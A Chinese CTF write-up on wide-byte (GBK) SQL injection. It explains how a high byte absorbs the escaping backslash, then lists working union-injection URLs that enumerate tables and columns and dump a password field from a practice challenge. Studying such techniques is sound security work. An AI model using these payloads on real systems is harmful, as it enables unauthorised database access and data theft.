CTF宽字节注入

CTF宽字节注入


oxo1 宽字节注入的原理

addslashes`函数,会在 单引号 ,双引号,反斜线,NULL字符前面加上一个转义字符反斜杠,那么如何逃逸这个过滤呢?

  1. 前面再加一个\,变成 \\',这样的\就会被转义了,’逃出了限制。
  2. 把\弄没 —–》对应的将会是宽字节注入

宽字节注入利用mysql的特性,mysql在使用GBK编码的时候,会认为两个字符是一个汉字,前一个ascii码大于128的时候,才到汉字的范围。

-》 \' —————–> %5c%27

%df' ————> %df\'—–> %df%5c%27 GBK会将两个百分号的字母变成一个字符

根据GBK编码,第一个字节的ascii码大于128,基本上就可以注入

mysql_query("SET NAMES 'gbk'")就会是gbk编码。

如果改成GB2312的话 ,由于反斜杠的ascii码是0x5c,它不是gb2312中的编码,自然不会被吃掉。扩展到普遍的是只要是低位的范围中含有0x5c的编码,就可以进行宽字节注入。

补充:mysql_real_escape_string(php5)考虑到连接的当前字符集,并不会转义% 和__。


oxo2 宽字节实战CTF


http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1

实战地址,使用union注入,

  1. 先使用order语句判断字段数目

http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df%27order%20by%202%23 2不报错使用3报错判断字段为2

  1. 判断可显示字段

http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%aa%27union%20select%201,2%23 在叶面发现2可以显示,接下来将id变为-1使得前面的读取为null,就会显示我们需要注入的语句。

  1. union查找库

发现可能是没有权限读取所有库

  1. 查找当前库的表

http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%aa%27union%20select%201,group_concat(0x7e,table_name,0x7e) from information_schema.tables where table_schema=database()%23 注入得到 ~ctf~,~ctf2~,~ctf3~,~ctf4~,~gbksqli~,~news~ ,这些表。

  1. 查找CTF中的列名

http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%aa%27union%20select%201,group_concat(0x7e,column_name,0x7e) from information_schema.columns where table_name=char(99,116,102)%23 字段为 ~user~,~pw~

可以使用hex来代替char函数

  1. dump字段

http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%aa%27union%20select%201,group_concat(pw)%20from ctf%23

得到flag。


  转载请注明: 星晴 CTF宽字节注入

 上一篇
CTF-基于约束的sql攻击 CTF-基于约束的sql攻击
CTF-基于约束的sql攻击 用空格代替空位置,表的字段约束为30个字符,如果插入admin null*30,那么就会重新插入新的记录,此时如果在select就会含有好几个admin用户 报错注入 floor报错简单的一个公式: and (
2019-10-14 starjian
下一篇 
order by 注入 order by 注入
order by 注入 order by 在不知道列名的情况下,可以通过列的序号来代替相应的列。但是经过测试这里无法做运算,如order by 3-1和order by 2是不一样的。 当desc参数可控的时候,使用if(exp,desc,
2019-10-14 starjian
  目录